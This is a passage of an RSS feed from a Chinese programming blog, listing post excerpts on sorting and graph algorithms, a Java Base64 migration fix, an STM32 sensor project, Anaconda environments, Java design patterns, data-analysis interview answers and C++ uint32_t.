      <description>作为程序员，掌握一些基本的算法是非常重要的，因为它们可以帮助你更高效地解决编程问题。以下是一些程序员必须掌握的基本算法：&#xA;1. 搜索算法 （1）线性搜索：最简单的搜索算法，从数组的第一个元素开始搜索，直到找到目标元素或搜索到最后一个元素为止。&#xA;（2）二分搜索：在有序数组中，通过将目标值与数组中间元素进行比较，每次可以排除一半的元素，直到找到目标元素或确定目标元素不存在于数组中。&#xA;（3）递归搜索：通过将问题分解为更小的子问题来解决问题，直到子问题可以直接解决为止。&#xA;（4）广度优先搜索：在图或树中，从根节点开始，遍历所有相邻节点，然后再遍历它们的相邻节点，直到找到目标节点或遍历完整个图/树。&#xA;2. 排序算法 （1）冒泡排序：通过比较相邻元素的大小，每次将两个相邻元素交换位置，直到整个序列有序为止。&#xA;（2）选择排序：每次从未排序的部分中找到最小（或最大）元素，放到已排序部分的末尾，直到未排序部分为空。&#xA;（3）插入排序：将未排序的元素一个个插入到已排序部分的正确位置。&#xA;（4）快速排序：通过选择一个基准元素将数组分为两部分，左边的元素都小于基准，右边的元素都大于基准，然后对左右两部分递归地进行快速排序。&#xA;（5）归并排序：采用分治策略，将序列分成两个子序列，分别进行排序，然后将两个有序子序列合并成一个有序序列。&#xA;3. 图算法 （1）最短路径算法：在图中找到两个节点之间的最短路径，如 Dijkstra 算法和 Bellman-Ford 算法。&#xA;（2）最小生成树算法：在连通图中找到一棵包含所有节点的树，并且所有边的权值之和最小，如 Prim 算法和 Kruskal 算法。&#xA;（3）拓扑排序算法：在有向无环图中找到一种线性顺序，使得每个节点的前驱节点按照该顺序出现在它的前面，如 Kahn 算法和 topological-sort 函数。&#xA;（4）强连通分量算法：在有向图中找到强连通分量的个数及它们之间的关系，如 Tarjan 算法和 Kosaraju 算法。&#xA;4. 动态规划算法 动态规划是一种通过将问题分解为子问题来解决问题的方法。它将每个子问题的解存储起来，以便在需要时可以重复使用它们，而不是重新计算它们。以下是一些常见的动态规划算法：&#xA;（1）斐波那契数列：使用递归或循环计算斐波那契数列中的第 n 个数。使用动态规划可以避免重复计算。&#xA;（2）背包问题：给定一组物品，每个物品都有自己的重量和价值，要求在不超过背包总重量的情况下，选择一组物品使得它们的总价值最大。可以使用动态规划求解。&#xA;（3）最长公共子序列：给定两个序列，找到它们的最长公共子序列。可以使用动态规划进行求解。&#xA;这些算法是程序员必须掌握的基本算法。当然还有许多其他的算法也很重要，比如分治算法、回溯算法等等。总之，程序员应该不断学习和掌握新的算法，以便更好地解决编程问题。</description>
    </item>
    <item>
      <title>7、NoClassDefFoundError: sun/misc/BASE64Encoder</title>
      <link>https://bchobby.github.io/posts/7611a42fbe1f59975396d22951b601f6/</link>
      <pubDate>Tue, 12 Sep 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7611a42fbe1f59975396d22951b601f6/</guid>
      <description>问题描述 Caused by: java.lang.NoClassDefFoundError: sun/misc/BASE64Encoder 原因分析： sun/misc/BASE64Encoder，只有在jdk1.8之前的版本存在，jdk9以后的版本，就不存在了。如果出现这样的错误，检查自己当前的jdk版本。&#xA;解决方案： 使用 import org.apache.commons.codec.binary.Base64对原先sun/misc/BASE64Decoder进行替换&#xA;加密改为：Base64.encodeBase64String(xxx);&#xA;解密改为：Base64.decodeBase64(xxx);&#xA;导包改为：import org.apache.commons.codec.binary.Base64;</description>
    </item>
    <item>
      <title>基于STM32智能环境系统</title>
      <link>https://bchobby.github.io/posts/f36f2aea35419c54c12684d0e647cc07/</link>
      <pubDate>Tue, 12 Sep 2023 01:47:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f36f2aea35419c54c12684d0e647cc07/</guid>
      <description>摘要 本系统采用stm32f407作为主控芯片，实现对环境的监测。并且通过和手机通信，获取当前的天气预报信息，结合当前测得的温湿度，可以为用户提供出行建议。利用stm32自带的RTC可以实现时间及闹钟功能。此外RTC还可以用于电子日历的制作。从机主控芯片是STM32f103，其主要功能是测取当前的温湿度信息和语音识别。主从机通过nrf24l01无线通信。&#xA;引言 科技发展越来越快，我们将要进入物联网的世界。利用已经成熟的温湿度传感器技术，可以获得当前的温湿度信息；利用已经很成熟的光敏传感器技术可以获得当前的光照强度。如果我们将这些信息搜集起来，通过微处理器分析，从而给出控制信息，实现智能控制。我们所要做的事情就是：通过微处理器丰富的外设，来获取周围信息。再分析这些数据，利用自动控制算法，控制外围器件，实现环境的调控。&#xA;系统方案 一、温湿度监测模块：1.与数字温度传感器通信，获取当前的温湿度信息。&#xA;2.将获得温湿度信息进行滤波处理&#xA;3.将温湿度数据打包传送给上位机&#xA;4.上位机接受下位机传输数据，将数据解包存储&#xA;5.上位机数据分析&#xA;该模块中最关键的算法是数据滤波，代码如下：&#xA;#define N 11&#xA;char filter()&#xA;{&#xA;char value_buf[N];&#xA;char count,i,j,temp;&#xA;for ( count=0;count&amp;lt;N;count++)&#xA;{&#xA;value_buf[count] = get_ad();&#xA;delay();&#xA;}&#xA;for (j=0;j&amp;lt;N-1;j++)&#xA;{&#xA;for (i=0;i&amp;lt;N-j;i++)&#xA;{&#xA;if ( value_buf[i]&amp;gt;value_buf[i+1] )&#xA;{&#xA;temp = value_buf[i];&#xA;value_buf[i] = value_buf[i+1];&#xA;value_buf[i+1] = temp;&#xA;}&#xA;}&#xA;}&#xA;return value_buf[(N-1)/2];&#xA;}&#xA;二、光照强度监测模块&#xA;本模块比较简单。通过监测光敏电阻两端的电压，来获得电压数据。再将电压数据转化成光照强度数据。检测电压的方法是采用STM32F407的AD模块来实现。同上一个模块一样，要对数据进行滤波处理。算法如上。&#xA;三、2.4G无线通信模块&#xA;本模块是连接主从机的关键模块。采用的通信芯片是NRF24L01。该芯片内部包括频率发生器、增强型ShockBurst模式控制器、功率放大器、晶体振荡器、调制器、解调器等功能模块。通信接口为SPI，待机电流22uA。&#xA;该模块的使用主要是通过对其进行初始化、再选择工作状态（RX/TX）、发送或接收数据。通过软件查询方式，来通信。前期调试时，下位机由于以前调试过，没有遇到什么问题。主要是在STM32F407上由于干接触，还不太了解该SPI库函数的使用方法，犯了一些低级错误。后期调好之后没有出现过大的问题。&#xA;蓝牙通信模块 蓝牙通行模块是用于与智能手机及电脑通信的。本系统通过该模块与手机通信，获取当前的天气预报信息。此外，还可通过智能手机、电脑等获取本系统当前的信息以及控制本系统。该模块与ＳＴＭ３２ｆ４０７通过ＵＳＡＲＴ通信。主要难点是：控制指令是ＡＴ指令。由于此前没有学习过该指令，学习该指令花费了几天时间。该模块稳定性高，调试成功后一直没有出现过大的问题。&#xA;五、SYN6288合成语音模块&#xA;本模块采用ＵＳＡＲＴ进行通信。该语音合成芯片，支持多种编码的数据。如：ＡＳＩＣ　ＧＢＫ　ＵＴＦ等。语音合成数据通过打包发送到该模块。&#xA;支持多音字及人名的智能识别。该模块控制命令多大几十条，可以很好的实现对输出音量、语速、背景音、多音字识别、强制连读等调控。该模块实现时遇到两个难题：１、多指令的学习使用问题　２、电流干扰问题。第一个问题通过学习该芯片使用手册很快得到了解决。第二个问题的现象是，每当播放语音时，显示屏上就会乱码。经过多次检测，发现问题是该模块播音时电流变化大，对开发板上的电源产生了干扰。解决办法是采用外界电源。</description>
    </item>
    <item>
      <title>Anaconda配置虚拟环境</title>
      <link>https://bchobby.github.io/posts/87a734a63fd15d5c671cbaab20f6f7d6/</link>
      <pubDate>Mon, 11 Sep 2023 23:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87a734a63fd15d5c671cbaab20f6f7d6/</guid>
      <description> 写此博客只为记录自己的学习生活，若有不当之处，还望指出，本人定当好好学习 为什么需要配置虚拟环境 为了更有序的管理环境； 1、当我们遇到不同的项目时，他们可能需要的环境也是不同的，比如有的项目需要python3.6，有的需要python3.8，等等，如果我们只有一个环境的话，那意味着我们需要另一种环境的话，就必须删除当前版本，安装另一种版本，这当让然很麻烦了；&#xA;2、Acaonda集成的conda包就能解决这个问题，它可以创造出不同的环境，并且相互隔离，当我们需要哪一个版本的环境时，选择它就可以了。&#xA;如何配置虚拟环境 前提是已经安装了Anaconda； 1、打开Anaconda命令窗口，如下图：&#xA;注意：前面的base表示的Anaconda当前的环境，也是起始位置下的默认环境；&#xA;（2）创建一个虚拟环境：&#xA;以上是创建虚拟环境的基本语法，&#xA;其中***表示所要创建的环境名称；3.X表示所要python的具体版本；&#xA;（3）举例：&#xA;创建一个环境名为：test， python版本为：3.6的虚拟环境；&#xA;①&#xA;②&#xA;按Enter等待…&#xA;出现以上页面时，输入Y即可，表示同意安装所需要的一些package；&#xA;此时表示已经虚拟环境已经创建完成；&#xA;③激活所创建的虚拟环境：&#xA;注意：test是我刚刚创建的虚拟环境的名称；&#xA;④按Enter即可跳转到test这个虚拟环境下：&#xA;注意：此时最左边的（base）已经转换成了（test），表示已经处于我们的test环境中了；&#xA;⑤此时需要在这个虚拟环境中安装什么package的话，就按照Anaconda安装package的方式进行安装就可以了；并且安装的package都只会装在我们的虚拟环境下，而不会影响到其他的环境；&#xA;（4）关闭虚拟环境：&#xA;（5）删除虚拟环境：&#xA;注意：是在base下进行操作的；（test我刚刚创建的虚拟环境名称）&#xA;====================== 分割线======================&#xA;如何将虚拟环境配置到指定目录下 conda create --prefix=F:\conda\py35 python=3.5 若想要知道是否在其他盘符下存在虚拟环境？ 还是在base下输入命令：conda env list 激活指定目录下的虚拟环境 conda activate F:\conda\py35 删除指定目录下的虚拟环境 参考：https://blog.csdn.net/black000shirt/article/details/129791807 *写此博客只为记录自己的学习生活，若有不当之处，还望指出，本人定当好好学 </description>
    </item>
    <item>
      <title>Java特性之设计模式【抽象工厂模式】</title>
      <link>https://bchobby.github.io/posts/299b11d54f482767adff934fbcba2196/</link>
      <pubDate>Mon, 11 Sep 2023 21:15:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/299b11d54f482767adff934fbcba2196/</guid>
      <description>一、抽象工厂模式 概述&#xA;抽象工厂模式（Abstract Factory Pattern）是围绕一个超级工厂创建其他工厂。该超级工厂又称为其他工厂的工厂。这种类型的设计模式属于创建型模式，它提供了一种创建对象的最佳方式&#xA;在抽象工厂模式中，接口是负责创建一个相关对象的工厂，不需要显式指定它们的类。每个生成的工厂都能按照工厂模式提供对象&#xA;抽象工厂模式提供了一种创建一系列相关或相互依赖对象的接口，而无需指定具体实现类。通过使用抽象工厂模式，可以将客户端与具体产品的创建过程解耦，使得客户端可以通过工厂接口来创建一族产品&#xA;主要解决：主要解决接口选择的问题&#xA;何时使用：我们明确地计划不同条件下创建不同实例时&#xA;优缺点&#xA;优点：&#xA;当一个产品族中的多个对象被设计成一起工作时，它能保证客户端始终只使用同一个产品族中的对象&#xA;缺点：&#xA;产品族扩展非常困难，要增加一个系列的某一产品，既要在抽象的 Creator 里加代码，又要在具体的里面加代码&#xA;1. 各个角色介绍 1.1 抽象工厂（Abstract Factory） 声明了一组用于创建产品对象的方法，每个方法对应一种产品类型。抽象工厂可以是接口或抽象类&#xA;1.2 具体工厂（Concrete Factory） 实现了抽象工厂接口，负责创建具体产品对象的实例&#xA;1.3 抽象产品（Abstract Product） 定义了一组产品对象的共同接口或抽象类，描述了产品对象的公共方法&#xA;1.4 具体产品（Concrete Product） 实现了抽象产品接口，定义了具体产品的特定行为和属性&#xA;2. UML图 将创建 Shape 和 Color 接口和实现这些接口的实体类。下一步是创建抽象工厂类 AbstractFactory。接着定义工厂类 ShapeFactory 和 ColorFactory，这两个工厂类都是扩展了 AbstractFactory。然后创建一个工厂创造器/生成器类 FactoryProducer&#xA;AbstractFactoryPatternDemo 类使用 FactoryProducer 来获取 AbstractFactory 对象。它将向 AbstractFactory 传递形状信息 Shape（CIRCLE / RECTANGLE / SQUARE），以便获取它所需对象的类型。同时它还向 AbstractFactory 传递颜色信息 Color（RED / GREEN / BLUE），以便获取它所需对象的类型&#xA;3. 具体例子和代码 角色分配</description>
    </item>
    <item>
      <title>Java特性之设计模式【建造者模式】</title>
      <link>https://bchobby.github.io/posts/d3c2946cf72fcc96bf823b00d816a2b3/</link>
      <pubDate>Mon, 11 Sep 2023 21:11:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3c2946cf72fcc96bf823b00d816a2b3/</guid>
      <description>一、建造者模式 概述&#xA;建造者模式（Builder Pattern）使用多个简单的对象一步一步构建成一个复杂的对象。这种类型的设计模式属于创建型模式，它提供了一种创建对象的最佳方式&#xA;一个 Builder 类会一步一步构造最终的对象。该 Builder 类是独立于其他对象的&#xA;主要解决：主要解决在软件系统中，有时候面临着&#34;一个复杂对象&#34;的创建工作，其通常由各个部分的子对象用一定的算法构成；由于需求的变化，这个复杂对象的各个部分经常面临着剧烈的变化，但是将它们组合在一起的算法却相对稳定&#xA;何时使用：一些基本部件不会变，而其组合经常变化的时候&#xA;优缺点&#xA;优点：&#xA;分离构建过程和表示，使得构建过程更加灵活，可以构建不同的表示可以更好地控制构建过程，隐藏具体构建细节代码复用性高，可以在不同的构建过程中重复使用相同的建造者 缺点：&#xA;如果产品的属性较少，建造者模式可能会导致代码冗余建造者模式增加了系统的类和对象数量 1. 各个角色介绍 我们假设一个快餐店的商业案例，其中，一个典型的套餐可以是一个汉堡（Burger）和一杯冷饮（Cold drink）。汉堡（Burger）可以是素食汉堡（Veg Burger）或鸡肉汉堡（Chicken Burger），它们是包在纸盒中。冷饮（Cold drink）可以是可口可乐（coke）或百事可乐（pepsi），它们是装在瓶子中&#xA;我们将创建一个表示食物条目（比如汉堡和冷饮）的 Item 接口和实现 Item 接口的实体类，以及一个表示食物包装的 Packing 接口和实现 Packing 接口的实体类，汉堡是包在纸盒中，冷饮是装在瓶子中&#xA;然后我们创建一个 Meal 类，带有 Item 的 ArrayList 和一个通过结合 Item 来创建不同类型的 Meal 对象的 MealBuilder。BuilderPatternDemo 类使用 MealBuilder 来创建一个 Meal&#xA;2. UML图 3. 具体例子和代码 角色分配&#xA;Item：食物条目接口 Burger：汉堡抽象类（实现食物条目接口） VegBurger：素食汉堡（继承汉堡抽象类）ChickenBurger：鸡肉汉堡（继承汉堡抽象类） ColdDrink：冷饮抽象类（实现食物条目接口） Coke：可口可乐（继承冷饮抽象类）Pepsi：百事可乐（继承冷饮抽象类） Packing：食物包装接口 Wrapper：纸盒包装（实现食物包装接口）Bottle：瓶包装（实现食物包装接口） Meal：套餐（包含食物条目列表）MealBuilder：套餐建造者（建造套餐） 3.1 食物条目接口以及实现类 Item package com.vinjcent.prototype.builder; /** * @author vinjcent * @description 食物条目接口 */ public interface Item { /** * 获取食物名称 * * @return 返回食物名称 */ String name(); /** * 打包方式 * * @return 包装接口 */ Packing packing(); /** * 食物价格 * * @return 返回食物价格 */ float price(); } Burger package com.</description>
    </item>
    <item>
      <title>数分面试题2-牛客</title>
      <link>https://bchobby.github.io/posts/7dce710bcd32ccb73ce7b3906ccc38a4/</link>
      <pubDate>Mon, 11 Sep 2023 17:58:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dce710bcd32ccb73ce7b3906ccc38a4/</guid>
      <description>目录标题 1、参数估计和假设检验分别是什么？区别在哪里？3、怎么降低第一类错误，如何同时降低第一类和第二类错误4、SQL、Python、R等分析工具，分别有什么用？5、说一下显著性水平、置信区间、假设检验6、Union和Join的区别7、SQL窗口函数并举例8、SQL里面的like的用法9、SQL语句求单日留存及一个月的每日留存10、sql如何进行优化11、数据分析流程12、游戏内数据分析涉猎的少，如何证明自己有能力胜任？--学习话术13、你认为字节小游戏平台分析需要涉及哪些指标？---看思路14、你对数据分析的认知是什么，那你是如何学习数据分析的15、你觉得数据分析应该具备的能力是什么16、以往经历中，你是怎么做数据分析报表17、对做数据分析做了哪些准备18、SVM19、说一个无监督学习算法，阐述原理，优缺点，实际应用点 1、参数估计和假设检验分别是什么？区别在哪里？ 参数估计：通过样本统计量来对总体参数进行估计，包括点估计和区间估计。&#xA;假设检验：通过对总体参数提出一个假设，然后利用样本统计量来验证假设是否成立，从而做出拒绝或者接受原假设的决定。### 2、假设检验的显著性水平&#xA;AB测试是假设检验的应用。&#xA;两者联系：参数估计和假设检验都是样本去估计总体，都是建立在概率基础上的统计，可以相互转换&#xA;两者区别是：1，参数估计是用样本统计量估计总体参数的方法；假设检验是先对总体参数提出一个假设，然后利用样本信息去检验这个假设是否成立 2，参数估计是以置信区间(大概率)估计总体参数；假设检验是利用小概率事件是否发生来判断假设是否成立&#xA;3、怎么降低第一类错误，如何同时降低第一类和第二类错误 当样本容量n固定时，α、β不能同时都小，α变小时β就变大，而β变小时α就变大。&#xA;只有当样本容量n增大时，才有可能使两者变小。在实际应用中，一般原则是控制犯第一类错误的概率，即给定α，然后通过增大样本容量n来减小β。&#xA;这种着重对第一类错误的概率α加以控制的假设检验称为显著性检验，α就是显著性水平。&#xA;统计功效=1-第二类错误，也即当AB两组实际有差异时,能被我们检测出来差异的概率&#xA;4、SQL、Python、R等分析工具，分别有什么用？ EXCEL用于小样本量中基本的数据处理操作，&#xA;而SQL用于从数据库中取数操作，做一些简单的数据处理工作，通过表连接、嵌套查询等动作完成最终的数据统计工作。&#xA;Python和R可以借助多种多样的工具库，可以通过数据建模，可用于有监督或无监督模型的训练，解决分类或预测问题。&#xA;5、说一下显著性水平、置信区间、假设检验 显著性水平：其实就是第一类错误也叫弃真错误，也即原假设为真时被拒绝的概率&#xA;置信区间：在区间估计中，由样本统计量所构造的总体参数的估计区间称为置信区间&#xA;假设检验：先对总体要估计的值提出一个假设，然后利用样本信息去检验这个假设是否成立&#xA;6、Union和Join的区别 UNION是两张表进行上下拼接，产生的两个记录集(字段要一样的)并在一起，成为一个新的记录集，分为UNION和UNION ALL两种方法；&#xA;JOIN 是两张表进行左右连接，条件匹配的记录将合并产生一个记录集，有LEFT JOIN、RIGHT JOIN、INNER JOIN、OUTER JOIN等多种方法。&#xA;7、SQL窗口函数并举例 聚合函数：sum，count，avg，max，min；排序函数：row_number，rank，dense_rank;偏移函数，lead，向后偏移，lag向前偏移，nitile函数，等份分割&#xA;8、SQL里面的like的用法 like的作用是模糊查询，&#xA;“%”（百分号）：代表任意字符序列（包括空字符序列）。&#xA;“_”（下划线）：代表任意单个字符&#xA;可以用在where子句中限定查询结果的条件&#xA;9、SQL语句求单日留存及一个月的每日留存 1.统计每个用户首次访问的日期；&#xA;2.按用户首次访问的日期分组，统计每个日期的单日留存用户数和30日留存用户数及当前日期的新增用户数；&#xA;3.单日留存率=单日留存用户数/当前日期下的新增用户数&#xA;10、sql如何进行优化 用groupby代替distinct 去重，&#xA;表关联之前先用where过滤，防止数据倾斜&#xA;建立合适的索引，&#xA;减少不必要的字段查询；&#xA;少使用like,减少模糊查询&#xA;用临时表with as,&#xA;如果是并集，多使用union all,&#xA;在Oracle中可以使用decode代替case when&#xA;合理利用分区&#xA;11、数据分析流程 第一步：与业务方沟通问题，明确分析目标；&#xA;第二步：对目标进行拆解，可以采用两步分析法，也可以采用人货场分析法，通过数据定位问题源头； 第三步：与产品、运营和技术沟通，找到问题原因。&#xA;1.发现问题，明确问题；2.收集数据；3.数据清洗；4.数据统计、数据分析；5.可视化；6.报告撰写。&#xA;12、游戏内数据分析涉猎的少，如何证明自己有能力胜任？–学习话术 虽然我对游戏数据分析的经验较少，但是我认为对于应届生而言，更重要的是学习能力以及对该行业的热情。我的学习能力不错（举例说明，最好结合实习的例子，其次是在学校学习的例子等）；并且我非常热爱网络游戏，自身职业规划也和游戏相关，希望能在这个行业里深耕；最后我认为数据分析的方法是相通的，我学习的其他数据分析方法论也可以应用其中。&#xA;13、你认为字节小游戏平台分析需要涉及哪些指标？—看思路 从产品自身出发、从用户角度出发、&#xA;从游戏自身出发：核心玩法的参与度，游戏留存等； 从游戏玩家出发：ARPU，DAU，留存率； 从游戏性能出发：闪退率，卡顿率等。 最重要的是游戏的渗透率，因为字节游戏主要依靠从字节跳动或今日头条引流用户，如何把内容用户转变为游戏用户，是字节游戏现在最重要的事情</description>
    </item>
    <item>
      <title>Gof23设计模式之责任链模式</title>
      <link>https://bchobby.github.io/posts/d958ac481c748228abb4357b89c3d7c8/</link>
      <pubDate>Mon, 11 Sep 2023 17:53:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d958ac481c748228abb4357b89c3d7c8/</guid>
      <description>1.概述 责任链模式又名职责链模式，为了避免请求发送者与多个请求处理者耦合在一起，将所有请求的处理者通过前一对象记住其下一个对象的引用而连成一条链；当有请求发生时，可将请求沿着这条链传递，直到有对象处理它为止。&#xA;2.结构 职责链模式主要包含以下角色：&#xA;抽象处理者（Handler）角色：定义一个处理请求的接口，包含抽象处理方法和一个后继连接。具体处理者（Concrete Handler）角色：实现抽象处理者的处理方法，判断能否处理本次请求，如果可以处理请求则处理，否则将该请求转给它的后继者。客户类（Client）角色：创建处理链，并向链头的具体处理者对象提交请求，它不关心处理细节和请求的传递过程。 3.案例实现 现需要开发一个请假流程控制系统。请假一天以下的假只需要小组长同意即可；请假1天到3天的假还需要部门经理同意；请求3天到7天还需要总经理同意才行。&#xA;/** * @author 晓风残月Lx * @date 2023/7/27 21:15 * 请假条类 */ public class LeaveRequest { // 姓名 private String name; // 请假天数 private int num; // 请假内容 private String content; public LeaveRequest(String name, int num, String content) { this.name = name; this.num = num; this.content = content; } public String getName() { return name; } public int getNum() { return num; } public String getContent() { return content; } } /** * @author 晓风残月Lx * @date 2023/7/27 21:17 * 抽象处理者 */ public abstract class Handler { protected final static int NUM_ONE = 1; protected final static int NUM_THREE = 3; protected final static int NUM_SEVEN = 7; // 该领导处理的请求天数区间 private int numStart; private int numEnd; // 声明后继者（声明上级领导） private Handler nextHandler; public Handler(int numStart) { this.</description>
    </item>
    <item>
      <title>CPP的uint32_t类型简介</title>
      <link>https://bchobby.github.io/posts/44bfe15632e687e29cbff03fd75a7738/</link>
      <pubDate>Mon, 11 Sep 2023 17:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44bfe15632e687e29cbff03fd75a7738/</guid>
      <description>简介 在C++中，uint32_t是一种无符号整数类型，它表示的是32位无符号整数。&#xA;uint32_t是由uint和32_t两个部分组成的。其中，uint表示无符号整数类型，即只能表示非负整数；32_t表示该类型的位数为32位。因此，uint32_t表示的是32位无符号整数类型。&#xA;在C++中，可以使用头文件&amp;lt;cstdint&amp;gt;来引入uint32_t类型的定义。这个头文件中还定义了其他一些常见的整数类型，如int8_t、int16_t、int32_t、int64_t等。&#xA;下面是一个示例代码，演示了如何声明和使用一个uint32_t类型的变量：&#xA;#include &amp;lt;cstdint&amp;gt; #include &amp;lt;iostream&amp;gt; int main() { uint32_t num = 12345; std::cout &amp;lt;&amp;lt; &#34;The value of num is: &#34; &amp;lt;&amp;lt; num &amp;lt;&amp;lt; std::endl; return 0; } 在这个示例中，我们声明了一个名为num的uint32_t类型的变量，并将其初始化为12345。然后，我们使用std::cout将该变量的值输出到屏幕上。&#xA;uint32_t 内存中的存储方式 在C++中，uint32_t类型的变量在内存中以32位二进制数的形式存储。由于它是一个无符号整数类型，因此它的取值范围是0到4294967295。&#xA;在内存中，uint32_t类型的变量以大端序（big-endian）或小端序（little-endian）的方式存储，这取决于计算机系统的架构。在大端序中，最高位字节存储在内存中的最低地址处，而在小端序中，最低位字节存储在内存中的最低地址处。&#xA;无论使用哪种存储方式，uint32_t类型的变量在内存中占据4个字节的空间，并且按照二进制数的形式进行存储。例如，十进制数12345在内存中以二进制数的形式00000000 00000000 00110000 00111001存储。&#xA;uint32_t 在算法中的应用 uint32_t在C++中是一种无符号32位整数类型，由于其取值范围和存储特性，它在算法中有着广泛的应用。以下是一些常见的应用场景：&#xA;计数和迭代：由于uint32_t是无符号的，它不会表示负数，这使其成为计数和迭代的理想选择。例如，你可能会使用uint32_t来实现一个计数器，跟踪程序运行的次数或者跟踪循环的迭代次数。数组和数据结构的大小：在处理大量数据或大型数据结构时，你可能需要一种类型来安全地存储数组或数据结构的大小。uint32_t可以安全地存储这些大小，因为它可以表示的范围足够大。位操作：uint32_t的另一个常见用途是位操作。由于它的大小是固定的32位，你可以用它执行各种位操作，如位移、位与、位或等。这在处理网络协议、硬件交互和其他底层编程任务时非常有用。哈希函数：许多哈希函数的设计要求使用一个固定大小的整数类型。uint32_t是这种用途的常见选择，因为它的大小足够大，可以提供一个广泛的哈希值范围，同时保持计算效率。加密算法：许多加密算法需要使用固定大小的整数类型。uint32_t在这种情况下也是一个常见的选择，因为它的大小和性质使得它可以有效地支持加密算法的操作。模型参数：在机器学习或深度学习应用中，模型参数通常需要大量的整数类型来存储。uint32_t可以用于存储这些参数，因为它可以表示的范围足够大。 请注意，虽然uint32_t在许多情况下是有用的，但在选择使用它时，你应该考虑你的特定应用是否真正需要32位的整数。如果你的应用不需要处理那么大的数值范围，那么使用更小的类型（如uint16_t或uint8_t）可能会更有效率。&#xA;水平有限，有问题随时联系；&#xA;彩蛋 更多干货内容欢迎关注公众号SLearningAI，欢迎CSDN与公众号同步交流~</description>
    </item>
    <item>
      <title>Gof23设计模式之命令模式</title>
      <link>https://bchobby.github.io/posts/2087fc822368c97c96046d9738d0e308/</link>
      <pubDate>Mon, 11 Sep 2023 17:36:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2087fc822368c97c96046d9738d0e308/</guid>
      <description>1.概述 将一个请求封装为一个对象，使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象进行沟通，这样方便将命令对象进行存储、传递、调用、增加与管理。&#xA;2.结构 命令模式包含以下主要角色&#xA;抽象命令类（Command）角色： 定义命令的接口，声明执行的方法。具体命令（Concrete Command）角色：具体的命令，实现命令接口；通常会持有接收者，并调用接收者的功能来完成命令要执行的操作。实现者/接收者（Receiver）角色： 接收者，真正执行命令的对象。任何类都可能成为一个接收者，只要它能够实现命令要求实现的相应功能。调用者/请求者（Invoker）角色： 要求命令对象执行请求，通常会持有命令对象，可以持有很多的命令对象。这个是客户端真正触发命令并要求命令执行相应操作的地方，也就是说相当于使用命令对象的入口。 3.案例 服务员： 就是调用者角色，由她来发起命令。&#xA;资深大厨： 就是接收者角色，真正命令执行的对象。&#xA;订单： 命令中包含订单。&#xA;/** * @author 晓风残月Lx * @date 2023/7/27 0:58 * 抽象命令类 */ public interface Command { void execute(); // 只需要定义一个统一的执行方法 } import java.util.Map; import java.util.Set; /** * @author 晓风残月Lx * @date 2023/7/27 1:04 * 具体的命令类 */ public class OrderCommand implements Command { // 持有接收者对象 private SeniorChef receiver; private Order order; public OrderCommand(SeniorChef receiver, Order order) { this.</description>
    </item>
    <item>
      <title>STM32CubeMx教程---LED闪烁实验</title>
      <link>https://bchobby.github.io/posts/38305ffd46f30c5e7aebe59ac8eb5441/</link>
      <pubDate>Mon, 11 Sep 2023 16:47:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38305ffd46f30c5e7aebe59ac8eb5441/</guid>
      <description>目录&#xA;写作目的:&#xA;开发环境:&#xA;Stm32三种开发模式:&#xA;寄存器开发&#xA;标准库开发&#xA;HAL库开发&#xA;项目实战:&#xA;新建一个工程&#xA;选择单片机型号&#xA;RCC时钟配置&#xA;时钟树配置&#xA;GPIO配置&#xA;工程管理&#xA;Project Manager---Project&#xA;Project Manager---Code Generator&#xA;Keil中代码编写&#xA;开源万岁:&#xA;参考文献:&#xA;结语:&#xA;写作目的: 构建知识体系;提升写作能力;&#xA;开发环境: 硬件平台:正点原子探索者stm32f4开发板&#xA;软件平台:Keil+Stm32CubeMx&#xA;Stm32三种开发模式: 寄存器开发 与51单片机类似，直接操作寄存器。这个过程需要开发者对照手册，一行一行把代码敲出来。明显的优点是:执行效率高；明显的缺点是:寄存器数量相对51单片机多的太多，编程效率太低，对开发者要求太高。&#xA;一般不会选择基于寄存器开发，但这种开发模式背后要求的:对开发手册的阅读能力，对芯片架构的理解能力等，是开发者在往后的进阶学习中必须要掌握的。钱老说过:&#34;手里没剑和有剑不用是两码事&#34;。&#xA;标准库开发 ST官方将寄存器操作封装成标准库函数，通过提供的现成的接口函数，开发者不用去管寄存器到底是如何操作的，直接调用接口函数即可。相对于直接的寄存器开发，大大提升了开发效率，降低了开发难度。&#xA;这也是过去一个时代主流的开发模式，如博主最早接触的正点原子教程就是采用标准库函数开发的(当然现在也都有推出HAL库开发的教程，在这里也是非常感谢原子哥的入门教程)。近年来，ST官方对标准库的更新十分缓慢，而是主力推HAL库的开发方式。时代在进步，技术在发展。HAL库开发无疑在不久的将来会成为主流的开发模式，然后也必将被新的开发模式所取代。我们无需争论哪种方式更好，因为这对每个具体的人来说早已有答案。至于博主，那当然是全都要了，小孩子才做选择。&#xA;HAL库开发 那么重点来说下HAL库开发吧。全称就是Hardware Abstraction Layer(硬件抽象层)，库如其名，相当抽象。同标准库一样，HAL库的出现也是为了缩短程序的开发周期，而且HAL库显得更加有效。主要体现在以下几个方面:&#xA;它们都将实现功能需要配置的寄存器做了集成，不同的是，对于某些功能，标准库可能要用几句话，HAL库只需用一句话就够了。只针对于某些功能，这点博主自身没感觉到太大区别。&#xA;HAL库很好的解决了不同型号芯片间的移植问题，简单来说就是，在目前的开发模式中，用HAL库移植需要更改的地方最少。这点可真是太棒了，博主个人最讨厌移植，最最讨厌的就是在不同厂商的芯片间移植。简直是噩梦！强扭的瓜不甜啊，无法接受。&#xA;HAL库作为目前的主推开发模式，会一直更新，稳定性有足够的保障。人么，图个安稳。&#xA;HAL库+Stm32CubeMx结合开发，速度简直跟开挂一样，真是泰酷辣！&#xA;当然，缺点也是有的，比如编译后代码偏大，执行效率偏低。这些就看个人了，俗话说快与持久不可兼得，博主本人倾向于这种方式，毕竟开发速度快。&#xA;项目实战: 以一个实战项目来感受一下:利用STM32CubeMx+ Hal库新建一个工程,实现LED每隔1S翻转一次状态。&#xA;新建一个工程 File-&amp;gt;New Project&#xA;选择单片机型号 